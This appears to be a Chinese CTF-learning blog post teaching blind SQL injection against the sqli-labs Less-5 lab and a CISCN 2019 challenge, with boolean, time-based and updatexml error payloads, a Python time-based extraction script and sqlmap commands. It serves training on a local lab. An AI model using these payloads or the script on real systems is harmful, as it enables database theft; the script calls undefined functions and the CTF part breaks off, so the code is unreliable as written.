SQL盲注及python脚本编写

1、什么是盲注

盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从 background-1 中,我们可以知道盲注分为三类

  • 基于布尔 SQL 盲注

  • 基于时间的 SQL 盲注

  • 基于报错的 SQL 盲注

0x01.基于布尔 SQL 盲注----------构造逻辑判断

left() :left(a,b)从左侧截取 a 的前 b 位

accii():Ascii()将某个字符转换 为 ascii

substr():substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。

ord():Ord()函数同 ascii(),将字符转为 ascii 值

mid():mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

正则注入:http://www.cnblogs.com/lcamry/articles/5717442.html

like 匹配注:

0x02.基于时间的 SQL 盲注

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假, 执行 sleep,通过响应的时间判断

0x03.基于报错的 SQL 盲注

报错注入有很多种方法,简单介绍一种,其他另行参考文章:

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

报错注入实例:

1.select * from news where id=-1 union select updatexml(1,concat(0x7e,database(),0x7e),1)
得到数据库为sqli
其他均相同:
数据库版本:
10.3.22-MariaDB-0+deb10u1
用户:
root@localhost
操作系统:
debian-linux-gnu
2,查询数据库的表
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(table_name)) from information_schema.tables where table_schema='sqli'),0x7e),1)
得到news,flag
查询列
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_name='flag') ,0x7e),1)
得到flag
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(flag)) from sqli.flag),0x7e),1)

由于回现字符数量限制,-1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1);

一、updatexml函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。

第二个参数:XPath_string (Xpath格式的字符串) 。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值。

由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

  • contact函数用于将多个字符串连接成一个字符串,是最重要的mysql函数之一
  • right(str, num):字符串从右开始截取num个字符
  • left(str,num):字符串从左开始截取num个字符
  • substr(str,N,M): 字符串从第N个字符开始,截取M个字符

2、sqllib less-5

SQL盲注及python脚本编写_第1张图片

1、left()

可以看出不显示结果,构造:

数据库的版本:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(version(),1)=5 --+

数据库长度:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and length(database())=8 --+

猜测数据库第一位:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(database(),1)>'h' --+

可以使用二分法来提高效率;

2、利用 substr() ascii()函数进行测试

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
获取第一个字符 e 对应的为 101
第二个 substr(**,2,1) 即可
此处 table_schema 可以写成 =’security’,但是我们这里使用的 database(),是因
为此处 database()就是 security。此处同样的使用二分法进行测试,直到测试正确为止。
此处应该是 101,因为第一个表示 email。

这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个。那 要获取第二个是不是就是 limit 1,1。

然后一直测试。当然不能靠手猜了,可以python解决和sqlmap注入工具。

3、python手写版本

import requests
import time
#以第五关为例
def get_database():
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
    chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='
    database = ''
    length=0
    for l in range(1,20):
        Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length(database())>{0},1,sleep(3))--+'
        UrlFormat = Url.format(l)      #format()函数使用
        start_time0 = time.time()  		#发送请求前的时间赋值
        requests.get(UrlFormat,headers=headers)
        if  time.time() - start_time0 > 2:	#判断正确的数据库长度
                print('database length is ' + str(l))
                length = l
                break
        else:
            pass
    for i in range(1,length+1):
        for char in chars:
            charAscii = ord(char) #char转换为ascii
            url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
            urlformat = url.format(i,charAscii)
            start_time = time.time()
            requests.get(urlformat,headers=headers)
            if  time.time() - start_time > 2:
                database+=char
                print('database: ',database)
                break
            else:
                pass
    print('database is ' + database)
def get_dbtables():
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
    chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='
    for j in range(0,4):
        database = ''
        length = 0
        for l in range(1, 20):
            Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>{1},1,sleep(3))--+'
            UrlFormat = Url.format(j,l)  # format()函数使用
            start_time0 = time.time()  # 发送请求前的时间赋值
            requests.get(UrlFormat, headers=headers)
            if time.time() - start_time0 > 2:  # 判断正确的数据库长度
                print('table length is ' + str(l))
                length = l
                break
            else:
                pass

        for i in range(1, length + 1):
            for char in chars:
                charAscii = ord(char)  # char转换为ascii
                url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2},1,sleep(3))--+'
                urlformat = url.format(j,i, charAscii)
                start_time = time.time()
                requests.get(urlformat, headers=headers)
                if time.time() - start_time > 2:
                    database += char
                    print('第'+str(j)+'个表:')
                    print('database: ', database)
                    break
                else:
                    pass
        print('第'+str(j)+'个表:'''+'database is ' + database)


if __name__ == '__main__':
    get_database() #获取数据库名
    get_dbtables() #获取表名
    get_column() #获取列名
    get_column_content() #获取列的内容

SQL盲注及python脚本编写_第2张图片

数据库名获取正确:

SQL盲注及python脚本编写_第3张图片

SQL盲注及python脚本编写_第4张图片

表明获取正确
SQL盲注及python脚本编写_第5张图片

列名:select column_name from information_schema.columns where table_name='users' limit 0,1
跟爆表明一样
表内容:
select 列名 from 数据库.表名
只需要稍微改动上面的代码即可

4、sqlmap注入工具

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --current-db
#默认是当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables
#查询目标主机information_schema的表信息
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -D "information_schema"  --tables
#默认是当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TMLM8xvc-1652880143247)(D:\我的\CTF学习\web安全笔记\SQL盲注.assets\image-20220518211533824.png)]

只是简单的工具的使用,具体可以参考这篇文章:

https://blog.csdn.net/weixin_46962006/article/details/121307150

三、CISCN2019 华北赛区 Day2 Web1]Hack World

SQL盲注及python脚本编写_第6张图片
扫描的前期工作就不赘述了,直接开始正题:
我们输入,1,2,发现回显正常,3,-1啥的都回显这个:
SQL盲注及python脚本编写_第7张图片
测试是否存在SQL注入:

1' and 1=1 #

SQL盲注及python脚本编写_第8张图片
这必然有漏洞,尝试了很多发现if(1=1,1,2)和0^1可以使用:

if(1=1,1,2)返回的是1 判断
0^1返回的也是1 异或

SQL盲注及python脚本编写_第9张图片
编写脚本爆信息:


你可能感兴趣的:(漏洞原理,sql,python,数据库)